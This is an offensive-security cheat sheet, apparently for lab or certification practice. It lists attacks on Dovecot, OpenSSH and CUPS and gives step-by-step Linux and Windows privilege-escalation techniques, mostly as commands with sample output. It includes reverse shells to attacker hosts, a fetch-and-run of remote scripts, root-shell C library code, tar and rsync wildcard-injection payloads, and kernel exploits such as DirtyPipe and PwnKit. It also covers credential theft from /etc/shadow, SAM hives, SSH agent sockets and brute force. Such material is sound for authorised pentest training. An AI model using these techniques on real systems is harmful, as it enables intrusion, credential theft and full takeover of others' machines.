Default ports: 110 (POP3), 143 (IMAP), 993 (IMAPS), 995 (POP3S)

Vuln research:


Read Dovecot config for creds

Configuration files may contain plaintext passwords

cat /etc/dovecot/dovecot-users
cat /etc/dovecot/conf.d/10-auth.conf
cat /etc/dovecot/conf.d/auth-passwdfile.conf.ext
# Look for passdb and userdb entries

Read mail for credentials

If you can access mail — Users often email passwords

# Via IMAP:
curl -k imaps://$IP -u user:password
# List mailboxes:
curl -k "imaps://$IP" -u user:password -X "LIST \"\" *"
# Read inbox:
curl -k "imaps://$IP/INBOX" -u user:password -X "FETCH 1:* BODY[TEXT]"

Brute force mail credentials

Hydra against IMAP/POP3

hydra -l user -P wordlist.txt $IP imap
hydra -l user -P wordlist.txt $IP pop3

OpenSSH

What it is: The standard SSH server on virtually every Linux/Unix system. Direct exploits are rare in modern versions, but username enumeration, key-based attacks, and misconfigurations are common.

Default ports: 22

Vuln research:


Username enumeration (CVE-2018-15473)

OpenSSH < 7.7 — Determine valid usernames

python3 ssh_enum.py $IP -u root
python3 ssh_enum.py $IP -U users.txt
# Or Metasploit:
use auxiliary/scanner/ssh/ssh_enumusers

SSH key exploitation

If you find a private key — Use it

# Found id_rsa in a share, web dir, or LFI:
chmod 600 id_rsa
ssh -i id_rsa user@$IP

# If passphrase protected:
ssh2john id_rsa > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

SSH agent forwarding hijack

If agent forwarding is enabled — Hijack other users' keys

# Find SSH agent sockets:
ls -la /tmp/ssh-*/
# If you find another user's socket:
export SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.XXXXX
ssh-add -l  # List their keys
ssh user@other-host  # Use their keys

SSH port forwarding abuse

If you have SSH access — Reach internal services

# Local forward (access internal service from your box):
ssh -L 8080:127.0.0.1:8080 user@$IP
# Now visit http://127.0.0.1:8080 on your machine

# Dynamic SOCKS proxy:
ssh -D 9050 user@$IP
# Configure proxychains to use 127.0.0.1:9050

CUPS (Printing)

What it is: Common Unix Printing System — manages printers on Linux/macOS. The web interface is often accessible without authentication and has had multiple RCE vulnerabilities.

Default ports: 631

Vuln research:


Access CUPS web interface

Often unauthenticated — Information disclosure

curl http://$IP:631/
curl http://$IP:631/printers
curl http://$IP:631/admin

CUPS RCE (CVE-2024-47176 / CVE-2024-47076)

cups-browsed unauthenticated RCE — Inject malicious printer

# If cups-browsed is listening on UDP 631:
# Send crafted IPP request to add malicious printer
# When a user prints, your command executes
python3 cups_rce.py $IP $LHOST "bash -i >& /dev/tcp/$LHOST/4444 0>&1"

Read CUPS config

Configuration may reveal users and credentials

cat /etc/cups/cupsd.conf
cat /etc/cups/printers.conf
# Look for: AuthType, SystemGroup, device URIs with credentials

🐧 Linux Privilege Escalation

Escalation vectors for Linux hosts. Always run automated tools first, then check manually.


AUTOMATED ENUMERATION

Run linPEAS

Most comprehensive auto-enum — Highlights privesc vectors in color

curl http://ATTACKER_IP/linpeas.sh | bash
or: ./linpeas.sh | tee linpeas_output.txt
Example Output
linpeas output (color coded):
[+] Possible sudo pwnage:
  (root) NOPASSWD: /usr/bin/vim
[+] SUID files:
  /usr/bin/pkexec
[+] Writable cron scripts:
  /opt/backup.sh

Run linux-smart-enumeration

Alternative to linPEAS — Different perspective

curl http://ATTACKER_IP/lse.sh | bash
Example Output
./lse.sh
[!] usr010 Can we read /etc/shadow?... yes!
[!] fst020 Uncommon setuid binaries... /opt/custom_app
[!] ctn000 Is the user in a docker group?... yes!
(Different checks than linPEAS, use both)

Run LinEnum

Thorough mode — Classic enum script

bash LinEnum.sh -t
Example Output
bash LinEnum.sh -t
[+] Current user/group info:
uid=33(www-data)
[+] Possible sudo pwnage:
/usr/bin/vi
[+] SUID files:
/usr/bin/pkexec

pspy (process snooping)

Watch processes without root — Catch cron jobs and background tasks

./pspy64
./pspy32
Example Output
./pspy64
2026/02/24 10:00:01 CMD: UID=0 PID=1234 /bin/bash /opt/cleanup.sh
2026/02/24 10:05:01 CMD: UID=0 PID=1235 /usr/bin/python3 /root/backup.py
(Root cron jobs revealed that aren't in crontab)

SYSTEM INFORMATION

OS and kernel version

Check for kernel exploits — Old kernels = easy root

uname -a
cat /etc/os-release
cat /etc/issue
Example Output
uname -a
Linux target 4.15.0-20-generic #21-Ubuntu SMP x86_64
(Search: Linux 4.15.0-20 exploit -> DirtyCow, etc)

Who am I / groups

Current user context — docker/lxd/disk groups = root

id
whoami
groups
Example Output
uid=33(www-data) gid=33(www-data) groups=33(www-data)
OR: uid=1000(john) gid=1000(john) groups=1000(john),999(docker)
(docker group = instant root!)

All users

Users with shells — Identify targets for lateral movement

cat /etc/passwd
cat /etc/passwd | grep -v nologin | grep -v false
Example Output
cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:Admin:/home/admin:/bin/bash
john:x:1001:1001::/home/john:/bin/bash
(Users with actual shell access)

Readable /etc/shadow

If readable = crack hashes — Should not be world-readable

cat /etc/shadow 2>/dev/null
Example Output
cat /etc/shadow
root:$6$rounds=5000$salt$hashhere:19000:0:99999:7:::
admin:$6$salt2$anotherhash:19000:0:99999:7:::
(SHOULD NOT BE READABLE! Crack with hashcat -m 1800)

Network info

Interfaces, routes, connections — Find internal networks, pivot targets

ip a
ifconfig
route
arp -a
netstat -tulnp
ss -tulnp
Example Output
ip a
2: eth0: inet 10.10.10.5/24
3: eth1: inet 172.16.1.5/24  <- DUAL HOMED = pivot!

ss -tulnp
127.0.0.1:3306  mysqld  <- internal MySQL
127.0.0.1:8080  python3 <- hidden internal app
0.0.0.0:22      sshd
(Internal services = more attack surface)

Running processes

All running services — Find services running as root

ps auxww
ps -ef
Example Output
ps auxww
root  1234 /usr/sbin/apache2 -k start
root  1235 /usr/bin/mysqld --user=root  <- MySQL as root!
root  1236 /opt/vulnerable_app --config /root/app.conf
root  1237 /usr/bin/python3 /opt/cron_script.py
(Custom apps and root processes are targets)

Installed packages

Installed software — Vulnerable versions

dpkg -l
rpm -qa
Example Output
dpkg -l | grep -i apache
apache2 2.4.29-1ubuntu4.14
(Old version, check for CVEs)

Environment variables

Credentials in env vars — DB passwords, API keys

env
cat /proc/*/environ 2>/dev/null
Example Output
env
DB_PASSWORD=MySQLr00tP@ss
API_KEY=sk-abc123456
SECRET_KEY=SuperSecretKeyHere
(Credentials exposed in environment)

SUDO

Check sudo permissions

What can you run as root? — First thing to check always

sudo -l
Example Output
sudo -l
User www-data may run:
  (root) NOPASSWD: /usr/bin/vim
  (root) NOPASSWD: /usr/bin/find
  (ALL) NOPASSWD: /opt/backup.sh
(Check GTFOBins for vim and find)

GTFOBins lookup

Abuse allowed binaries — BOOKMARK THIS SITE

https://gtfobins.github.io/
Search for each sudo binary
Example Output
sudo -l shows: (root) NOPASSWD: /usr/bin/find

GTFOBins: https://gtfobins.github.io/gtfobins/find/
Sudo: sudo find . -exec /bin/sh \; -quit

# whoami
root

Sudo with no password

Run directly without password — Free root commands

If (NOPASSWD) in sudo -l output
Example Output
sudo -l
(root) NOPASSWD: /usr/bin/vim

sudo vim -c ':!bash'
# whoami
root
(No password prompt = direct escalation)

Sudo env_keep (LD_PRELOAD)

Hijack shared library loading — Runs your code as root

If env_keep+=LD_PRELOAD:
gcc -shared -fPIC -o /tmp/pe.so pe.c
sudo LD_PRELOAD=/tmp/pe.so <allowed_cmd>
Example Output
sudo -l shows: env_keep+=LD_PRELOAD

Compile:
#include <stdio.h>
void _init() { setuid(0); system("/bin/bash"); }

sudo LD_PRELOAD=/tmp/pe.so /usr/bin/allowed_command
# whoami
root

Sudo version exploit

sudo < 1.8.28 = CVE-2019-14287 sudo < 1.9.5p2 = CVE-2021-3156 — Baron Samedit, etc

sudo --version
Search: sudo <version> exploit
Example Output
sudo --version
Sudo version 1.8.31

CVE-2021-3156 (Baron Samedit):
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): corrupted
(Vulnerable! Use exploit for root)

Sudo with shell escape

Many programs have shell escapes — Check GTFOBins for each binary

sudo vim -> :!sh
sudo less -> !sh
sudo man -> !sh
sudo awk 'BEGIN {system("/bin/sh")}'
Example Output
sudo vim -c ':!sh'

# whoami
root
(Escaped to root shell via vim)

Sudo script injection

Edit the script, add reverse shell — Writable scripts run as root

If sudo allows running a script you can modify
Example Output
sudo -l: (root) /opt/backup.sh

ls -la /opt/backup.sh
-rwxrwxrwx 1 root root  <- WORLD WRITABLE!

echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh
sudo /opt/backup.sh
/tmp/rootbash -p
# whoami
root

SUID / SGID BINARIES

Find SUID binaries

Binaries that run as owner (often root) — Custom/unusual SUID = exploit

find / -perm -4000 -type f 2>/dev/null
Example Output
find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/pkexec     <- PwnKit!
/opt/custom_app     <- non-standard SUID!
(Focus on non-standard binaries)

Find SGID binaries

Binaries that run as group — Less common but still useful

find / -perm -2000 -type f 2>/dev/null
Example Output
find / -perm -2000 -type f 2>/dev/null
/usr/bin/wall
/usr/bin/crontab
/opt/custom_tool  <- non-standard!
(SGID runs as group owner, check for abuse)

GTFOBins SUID lookup

Known SUID abuses — Ignore standard ones like sudo, passwd

Search each unusual SUID binary on GTFOBins
Example Output
SUID: /usr/bin/python3

GTFOBins SUID section:
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# whoami
root
(SUID python = instant root)

SUID shared library hijack

If SUID binary loads missing library — Write library to writable path

strace <suid_binary> 2>&1 | grep 'No such file'
Create missing .so with malicious code
Example Output
strace /opt/custom_suid 2>&1 | grep 'No such file'
open("/tmp/libcustom.so", O_RDONLY) = -1 ENOENT

Compile malicious libcustom.so:
#include<stdlib.h>
void _init(){ system("/bin/bash -p"); }

gcc -shared -fPIC -o /tmp/libcustom.so lib.c
/opt/custom_suid
# whoami
root

SUID PATH abuse

Hijack relative command calls — Binary runs your fake command as root

If SUID binary calls commands without full path:
echo '/bin/bash' > /tmp/command
chmod +x /tmp/command
PATH=/tmp:$PATH <suid_binary>
Example Output
/opt/custom_app calls 'service apache2 start' without full path

echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
PATH=/tmp:$PATH /opt/custom_app

# whoami
root

SUID binary version exploits

Outdated binaries with CVEs — Especially custom compiled ones

Check version of each SUID binary
Example Output
/opt/custom_v1.2 has SUID
Google: 'custom_app v1.2 exploit'
Exploit-DB: Buffer overflow in v1.2
(Custom compiled SUID binaries are prime targets)

CRON JOBS

System cron jobs

Scheduled tasks — Scripts running as root

cat /etc/crontab
ls -la /etc/cron.*
crontab -l
crontab -l -u <user>
Example Output
cat /etc/crontab
* * * * * root /opt/backup.sh
*/5 * * * * root /usr/local/bin/cleanup.py

ls -la /opt/backup.sh
-rwxrwxrwx 1 root root  <- WORLD WRITABLE!

Writable cron scripts

Modify script to add reverse shell — Runs as the cron user (often root)

Check if you can write to scripts in crontab
Example Output
cat /etc/crontab:
* * * * * root /opt/backup.sh

ls -la /opt/backup.sh:
-rwxrwxrwx 1 root root

echo 'bash -i >& /dev/tcp/ATTACKER/443 0>&1' >> /opt/backup.sh
(Wait 1 minute for root reverse shell)

Cron PATH abuse

Script name matches cron command — Cron runs your script instead

If cron has custom PATH:
Create malicious script in earlier PATH dir
Example Output
cat /etc/crontab:
PATH=/home/user:/usr/local/sbin:/usr/local/bin
* * * * * root backup

echo '#!/bin/bash
bash -i >& /dev/tcp/ATTACKER/443 0>&1' > /home/user/backup
chmod +x /home/user/backup
(Cron finds your script first in PATH)

Cron wildcard injection

tar/rsync wildcard abuse — Filenames become command arguments

If cron runs: tar czf /tmp/backup.tar.gz *
Create files: --checkpoint=1 --checkpoint-action=exec=shell.sh
Example Output
Crontab: * * * * * root cd /var/www && tar czf /tmp/backup.tar.gz *

cd /var/www
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

Wait 1 min, then:
/tmp/rootbash -p
# whoami
root

Monitor for hidden cron

Processes not visible in crontab — System timers, at jobs

pspy64 or pspy32 (run for 5 min)
Example Output
pspy64 output:
CMD: UID=0 PID=1234 | /bin/bash /root/secret_script.sh
CMD: UID=0 PID=1235 | /usr/bin/python3 /opt/hidden_task.py
(Found cron jobs not in crontab)

Systemd timers

Modern cron replacement — Check associated service files

systemctl list-timers --all
Example Output
systemctl list-timers
NEXT          LEFT      UNIT
Mon 10:00     2min      backup.timer

cat /etc/systemd/system/backup.service
ExecStart=/opt/backup.sh
(Check if backup.sh is writable)

FILE PERMISSIONS & CAPABILITIES

World-writable files

Files anyone can modify — Config files, scripts, binaries

find / -writable -type f 2>/dev/null | grep -v proc
Example Output
find / -writable -type f 2>/dev/null
/etc/passwd         <- can add root user!
/opt/app/config.py  <- can inject code
/var/www/html/index.php <- can add webshell

World-writable directories

Directories anyone can write to — Drop files for path hijack

find / -writable -type d 2>/dev/null
Example Output
find / -writable -type d 2>/dev/null
/tmp
/var/tmp
/opt/app/plugins/  <- can drop files here
/usr/local/bin/    <- PATH hijack possible

Linux capabilities

Capabilities on binaries — cap_setuid = instant root

getcap -r / 2>/dev/null
Example Output
getcap -r / 2>/dev/null
/usr/bin/python3 = cap_setuid+ep  <- instant root!
/usr/bin/ping = cap_net_raw+ep    <- normal, ignore

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# whoami
root

Capability abuse

GTFOBins for capabilities too — Capabilities are like mini-SUID

python3 with cap_setuid:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Example Output
getcap shows: /usr/bin/python3 = cap_setuid+ep

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# whoami
root

OR: /usr/bin/vim = cap_setuid+ep
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh")'

SSH keys

Private keys for other users — SSH as root or other user

find / -name 'id_rsa' -o -name 'authorized_keys' -o -name '*.pem' 2>/dev/null
ls -la /home/*/.ssh/
ls -la /root/.ssh/
Example Output
find / -name id_rsa 2>/dev/null
/home/admin/.ssh/id_rsa
/root/.ssh/id_rsa  <- root's key!
/opt/backups/.ssh/id_rsa

find / -name authorized_keys -writable 2>/dev/null
/root/.ssh/authorized_keys  <- WRITABLE!
echo 'your_pub_key' >> /root/.ssh/authorized_keys
ssh root@localhost
(Write your key = root SSH access)

Readable config files

Database passwords, API keys — Password reuse is common

find / -name '*.conf' -readable 2>/dev/null
find / -name '*.config' -readable 2>/dev/null
find / -name 'wp-config*' 2>/dev/null
Example Output
find / -name '*.conf' -readable 2>/dev/null
/etc/apache2/sites-enabled/000-default.conf
/var/www/html/wp-config.php

cat wp-config.php:
define('DB_PASSWORD', 'WordPressDBp@ss!');
(Database credentials)

History files

Previous commands — May contain typed passwords

cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
cat ~/.mysql_history
Example Output
cat /home/admin/.bash_history
mysql -u root -p'S3cretDBP@ss'
ssh root@10.10.10.20
sudo su - backup_user
(Passwords typed in commands)

Backup files

Backup files with old configs — Old passwords, keys

find / -name '*.bak' -o -name '*.old' -o -name '*.backup' -o -name '*.zip' -o -name '*.tar.gz' 2>/dev/null
Example Output
find / -name '*.bak' -o -name '*.old' 2>/dev/null
/var/backups/shadow.bak  <- old shadow file!
/opt/config.old  <- old config with passwords

cat /var/backups/shadow.bak
root:$6$oldhash...

/opt and /srv

Custom installed applications — Often misconfigured

ls -la /opt/
ls -la /srv/
Example Output
ls -la /opt/
drwxrwxrwx  admin app_v2/  <- writable custom app!
-rwsr-xr-x  root  monitor  <- SUID custom binary!

ls -la /srv/
drwxr-xr-x  root  web/  <- alternative web root

PATH Hijack & Library Hijacking

Find scripts calling commands without full path

If a SUID binary or cron job calls a command without absolute path — Hijackable

find / -perm -4000 2>/dev/null
strings /usr/local/bin/suspicious | grep -v "/"
# Look for: service, curl, cat, etc. without /usr/bin/ prefix

Create malicious binary in PATH

Prepend writable directory to PATH — Hijack command execution

echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/suspicious
# Calls "service" which now runs /tmp/service = root shell

Writable PATH directories

Check if any PATH directories are writable

echo $PATH | tr ':' '\n' | xargs -I{} ls -ld {} 2>/dev/null

LD_PRELOAD hijack

If sudo env_keep has LD_PRELOAD — Instant root

# Check: sudo -l → look for env_keep+=LD_PRELOAD

cat > /tmp/shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
sudo LD_PRELOAD=/tmp/shell.so <allowed_command>

LD_LIBRARY_PATH hijack

Missing shared libraries — Create your own

ldd /usr/local/bin/suspicious
# If any show "not found" = you can create it
gcc -fPIC -shared -o /tmp/libcustom.so shell.c
sudo LD_LIBRARY_PATH=/tmp <allowed_command>

Wildcard Injection

Abuse wildcard expansion in cron jobs and scripts for privilege escalation.


How it works

When a script uses wildcards (*) with commands like tar, chown, or rsync — Filenames are interpreted as flags

# If a cron job runs:
cd /opt/backup && tar czf /tmp/backup.tar.gz *

# And you create files named like tar flags:
touch "/opt/backup/--checkpoint=1"
touch "/opt/backup/--checkpoint-action=exec=sh shell.sh"

# tar interprets the filenames as arguments = RCE as the cron user

Tar wildcard injection (most common)

Exploit tar with checkpoint options — Execute arbitrary commands

# 1. Create your reverse shell script:
echo '#!/bin/bash' > /opt/backup/shell.sh
echo 'bash -i >& /dev/tcp/$LHOST/4444 0>&1' >> /opt/backup/shell.sh
chmod +x /opt/backup/shell.sh

# 2. Create the malicious filenames:
touch "/opt/backup/--checkpoint=1"
touch "/opt/backup/--checkpoint-action=exec=sh shell.sh"

# 3. Wait for cron to run tar * → triggers your shell

Chown wildcard injection

Exploit chown with --reference flag — Change file ownership

# If cron runs: chown user:group *

# Create a file owned by root that you want to own:
touch -- "--reference=/etc/passwd"
# chown will use /etc/passwd's ownership as reference

Chmod wildcard injection

Exploit chmod with --reference flag — Change file permissions

# If cron runs: chmod 755 *

touch -- "--reference=/etc/shadow"
# chmod will copy /etc/shadow's permissions to all files

Rsync wildcard injection

Exploit rsync with -e flag — Execute arbitrary commands

# If cron runs: rsync -a * /backup/

touch -- "-e sh shell.sh"
echo '#!/bin/bash\nbash -i >& /dev/tcp/$LHOST/4444 0>&1' > shell.sh
chmod +x shell.sh

How to detect

Look for wildcards in cron jobs and scripts

cat /etc/crontab
ls -la /etc/cron.d/
cat /etc/cron.d/*

# Look for lines like:
# * * * * * root cd /dir && tar czf backup.tar.gz *
# * * * * * root chown user:group /dir/*

# Check writable directories that cron operates on:
find / -writable -type d 2>/dev/null

KERNEL EXPLOITS

Check kernel version

Exact kernel version — Search for matching exploits

uname -r
Example Output
uname -r
4.15.0-20-generic

Search: 'linux kernel 4.15.0-20 exploit'
Results: DirtyCow, various local privesc
(Match exact version to exploits)

linux-exploit-suggester

Automated kernel exploit finder — Suggests matching CVEs

./linux-exploit-suggester.sh
or: ./les.sh
Example Output
./linux-exploit-suggester.sh
[+] CVE-2021-4034 (PwnKit)
  Versions: ALL
  Confidence: Highly probable
[+] CVE-2022-0847 (DirtyPipe)
  Versions: 5.8 - 5.16.11
[+] CVE-2016-5195 (DirtyCow)
  Versions: 2.6.22 - 4.8.3

DirtyPipe (CVE-2022-0847)

Overwrite read-only files — Very reliable

Kernel 5.8 - 5.16.11
Example Output
uname -r: 5.13.0-39-generic (VULNERABLE)

./dirtypipe /etc/passwd 1 '${root::0:0:root:/root:/bin/bash}'

su root (no password)
# whoami
root

DirtyCow (CVE-2016-5195)

Race condition write to read-only — Older but still seen in labs

Kernel 2.6.22 - 4.8.3
Example Output
uname -r: 4.4.0-21-generic (VULNERABLE)

gcc -pthread dirty.c -o dirty -lcrypt
./dirty newpassword

su firefart
Password: newpassword
# whoami
root (as firefart user with UID 0)

PwnKit (CVE-2021-4034)

Polkit local privesc — Almost always works if pkexec exists

pkexec on most Linux distros
Example Output
which pkexec && pkexec --version
pkexec version 0.105

./PwnKit
# whoami
root
(Works on almost all Linux distros with polkit installed)

Compile on target or cross-compile

Match architecture (x86/x64) — Static compile avoids library issues

gcc exploit.c -o exploit
or compile on attacker: gcc -static -m32 exploit.c -o exploit
Example Output
On target:
gcc exploit.c -o exploit
./exploit

OR cross-compile on attacker:
gcc -static -m64 exploit.c -o exploit
python3 -m http.server 80

On target:
wget http://ATTACKER/exploit
chmod +x exploit && ./exploit

DOCKER / LXD / CONTAINER ESCAPE

Check if in docker

Are you in a container? — Different escape techniques

cat /.dockerenv
cat /proc/1/cgroup | grep docker
Example Output
ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 (FILE EXISTS = inside Docker)

cat /proc/1/cgroup
12:blkio:/docker/abc123...
(Confirmed: running inside Docker container)

Docker group

Mount host filesystem — Instant root on host

id | grep docker
docker images
docker run -v /:/mnt --rm -it <image> chroot /mnt bash
Example Output
id
uid=1000(john) gid=1000(john) groups=999(docker)

docker run -v /:/mnt --rm -it alpine chroot /mnt bash
# whoami
root
# cat /etc/shadow
root:$6$abc...
(Full root on host via docker)

LXD group

Mount host filesystem via LXD — Full root access to host

id | grep lxd
lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root
lxc start privesc
lxc exec privesc /bin/sh
Example Output
id: groups=110(lxd)

lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host disk source=/ path=/mnt/root
lxc start privesc
lxc exec privesc /bin/sh
# cat /mnt/root/etc/shadow
(Full host filesystem access)

NFS & INTERNAL SERVICES

NFS no_root_squash

Root on NFS = root on target — Compile SUID /bin/bash on share

cat /etc/exports
If no_root_squash: mount share, create SUID binary
Example Output
cat /etc/exports
/home/backup *(rw,no_root_squash)

On attacker:
mount -t nfs 10.10.10.5:/home/backup /tmp/nfs
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash

On target:
/home/backup/rootbash -p
# whoami
root

Internal services

Services only on 127.0.0.1 — May be vulnerable, port forward to access

netstat -tulnp
ss -tulnp
Example Output
netstat -tulnp
127.0.0.1:8080  python3  <- internal web app
127.0.0.1:3306  mysqld   <- internal MySQL

SSH tunnel to access:
ssh -L 8080:127.0.0.1:8080 user@target
Browse: http://127.0.0.1:8080 on attacker

MySQL as root

Database running as root — UDF = User Defined Function for RCE

mysql -u root -p
If root: SELECT sys_exec('chmod u+s /bin/bash');
or UDF exploit
Example Output
ps aux | grep mysql
root  1234  /usr/sbin/mysqld
(MySQL running as root!)

mysql -u root -p
SELECT sys_exec('chmod u+s /bin/bash');

bash -p
# whoami
root

🪟 Windows Privilege Escalation

Escalation vectors for Windows hosts. Token privileges and service misconfigurations are the most common wins.


AUTOMATED ENUMERATION

Run winPEAS

Most comprehensive auto-enum — Color-coded findings

.\winPEASx64.exe
or: .\winPEASany.bat
Example Output
winPEAS output:
[!] Possible privesc:
  SeImpersonatePrivilege: ENABLED
[!] Unquoted service path:
  C:\Program Files\My App\service.exe
[!] Writable service:
  CustomSvc -> C:\custom\svc.exe

PowerUp.ps1

PowerShell privesc checker — Finds service misconfigs

Import-Module .\PowerUp.ps1
Invoke-AllChecks
Example Output
Import-Module .\PowerUp.ps1
Invoke-AllChecks

[*] Checking service permissions...
[!] CustomSvc - Users have AllAccess
[*] Checking unquoted service paths...
[!] VulnService - C:\Program Files\My App\svc.exe

Seatbelt

Detailed system enum — GhostPack tool

.\Seatbelt.exe -group=all
Example Output
.\Seatbelt.exe -group=all
====== InterestingFiles ======
  C:\Users\admin\Desktop\passwords.txt
====== TokenPrivileges ======
  SeImpersonatePrivilege: Enabled
====== SavedRDPConnections ======
  DC01.corp.local - admin

SharpUp

C# version of PowerUp — Quick audit

.\SharpUp.exe audit
Example Output
.\SharpUp.exe audit
=== Modifiable Services ===
Name: CustomSvc
Path: C:\custom\svc.exe
Permissions: Everyone [AllAccess]
(Can change service binary path)

windows-exploit-suggester

Match patches to exploits — Run systeminfo on target first

python3 windows-exploit-suggester.py --database <db> --systeminfo <sysinfo.txt>
Example Output
python3 wes.py sysinfo.txt
[E] MS17-010: EternalBlue (KB4013389)
[E] CVE-2019-1458: WizardOpium (KB4530684)
[E] CVE-2021-36934: HiveNightmare
[M] MS16-032: Secondary Logon (KB3143141)

SYSTEM INFORMATION

System info

OS version, patches, architecture — Check for missing patches

systeminfo
hostname
whoami /all
Example Output
systeminfo
OS Name: Microsoft Windows Server 2019
OS Version: 10.0.17763 N/A Build 17763
System Type: x64-based PC
Hotfix(s): 3 Hotfix(s) Installed
  KB4534273, KB4516115, KB4523204

Current user privileges

Token privileges — SeImpersonate = potato attack

whoami /priv
Example Output
whoami /priv

SECURITY INFORMATION
--------------------
SeImpersonatePrivilege  Enabled   <- POTATO ATTACK!
SeAssignPrimaryToken    Enabled
SeBackupPrivilege       Enabled   <- READ ANY FILE!

Users and groups

Local accounts — Who is admin?

net user
net localgroup
net localgroup administrators
Example Output
net user
Administrator  Guest  john  svc_backup

net localgroup administrators
Administrator
john
(john is local admin!)

Network info

Interfaces, routes, connections — Internal networks, pivot targets

ipconfig /all
route print
arp -a
netstat -ano
Example Output
ipconfig /all
Ethernet0: 10.10.10.5/24  Gateway: 10.10.10.1
Ethernet1: 172.16.1.5/24  <- DUAL HOMED!

netstat -ano | findstr LISTEN
TCP  0.0.0.0:80      LISTENING  1234
TCP  127.0.0.1:8080  LISTENING  5678  <- internal only!
TCP  0.0.0.0:3389    LISTENING  904

Running processes

Services and processes — Find interesting services

tasklist /svc
Get-Process
Example Output
tasklist /svc
Image Name         PID  Services
httpd.exe          1234 Apache2.4
mysqld.exe         1235 MySQL
FileZilla Serv     1236 FileZilla  <- check version!
custom_svc.exe     1237 CustomSvc  <- non-default!

wmic process get name,executablepath
(Find custom/vulnerable services)

Installed software

Installed applications — Outdated software with CVEs

wmic product get name,version
Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*' | Select DisplayName,DisplayVersion
Example Output
wmic product get name,version
Apache HTTP Server  2.4.29
MySQL Server        5.7.29
FileZilla Server    0.9.41  <- OLD VERSION!
(Search each for known CVEs)

Check architecture

32-bit or 64-bit — Match exploits to arch

wmic os get osarchitecture
Example Output
wmic os get osarchitecture
64-bit
(Use x64 exploits and payloads)

Hotfixes installed

Installed patches — Missing KB = potential exploit

wmic qfe list
Get-HotFix
Example Output
wmic qfe list
HotFixID   InstalledOn
KB4534273  1/15/2020
KB4516115  9/10/2019
(Last patch 2020 = many missing updates)

TOKEN PRIVILEGES (POTATO ATTACKS)

Check for SeImpersonatePrivilege

Service accounts often have this — Gateway to SYSTEM

whoami /priv
Look for: SeImpersonatePrivilege
Example Output
whoami /priv
SeImpersonatePrivilege: Enabled

.\PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named Pipe: \\.\pipe\test\pipe
C:\> whoami
nt authority\system

PrintSpoofer

Windows 10 / Server 2016+ — Fast and reliable

.\PrintSpoofer64.exe -i -c cmd
Example Output
.\PrintSpoofer64.exe -i -c cmd
[+] Got SYSTEM shell
C:\Windows\system32> whoami
nt authority\system
(From service account to SYSTEM in seconds)

GodPotato

Works on most Windows versions — Newer, more reliable

.\GodPotato-NET4.exe -cmd 'cmd /c whoami'
Example Output
.\GodPotato-NET4.exe -cmd 'cmd /c whoami'
[*] CombaseDisableUserDirectoryPatching
nt authority\system

JuicyPotato

Windows Server 2016/2019 — Needs valid CLSID

.\JuicyPotato.exe -l 1337 -p cmd.exe -a '/c C:\temp\rev.exe' -t *
Example Output
.\JuicyPotato.exe -l 1337 -p cmd.exe -a '/c C:\temp\rev.exe' -t *
[+] CreateProcessWithToken: OK

Attacker:
connect from 10.10.10.5
C:\> whoami
nt authority\system

SweetPotato

Combines multiple potato techniques — Try if others fail

.\SweetPotato.exe -e EfsRpc -p C:\temp\rev.exe
Example Output
.\SweetPotato.exe -e EfsRpc -p C:\temp\rev.exe
[+] Exploiting EfsRpc
[+] Got SYSTEM token

Attacker shell:
C:\> whoami
nt authority\system

Check for SeBackupPrivilege

Can read any file on system — Read SAM/SYSTEM hives, extract hashes

whoami /priv
Look for: SeBackupPrivilege
Example Output
whoami /priv
SeBackupPrivilege  Enabled

This means you can READ ANY FILE on the system
Exploit: dump SAM and SYSTEM registry hives

reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
(Then extract hashes with secretsdump)

Backup privilege abuse

Dump registry hives — Extract local admin hashes

reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
impacket-secretsdump -sam sam -system system LOCAL
Example Output
Transfer SAM + SYSTEM to attacker:
impacket-secretsdump -sam sam -system system LOCAL

Administrator:500:aad3b435b...:31d6cfe0d...
Guest:501:aad3b435b...:31d6cfe0d...

Now pass-the-hash:
evil-winrm -i 10.10.10.5 -u Administrator -H 31d6cfe0d...
(Full admin access from backup privilege)

SERVICE MISCONFIGURATIONS

List all services

See all services — Look for non-default services

sc queryex type=service state=all
Get-Service
wmic service list brief
Example Output
sc queryex type=service state=all | findstr /i 'SERVICE_NAME\|DISPLAY_NAME\|STATE'
SERVICE_NAME: CustomSvc
DISPLAY_NAME: Custom Application
STATE: 4 RUNNING
(Find non-default services to investigate)

Unquoted service paths

Paths with spaces, no quotes — C:\Program Files\My App\svc.exe = hijack

wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows"
Example Output
wmic service get name,pathname | findstr /v "C:\Windows"
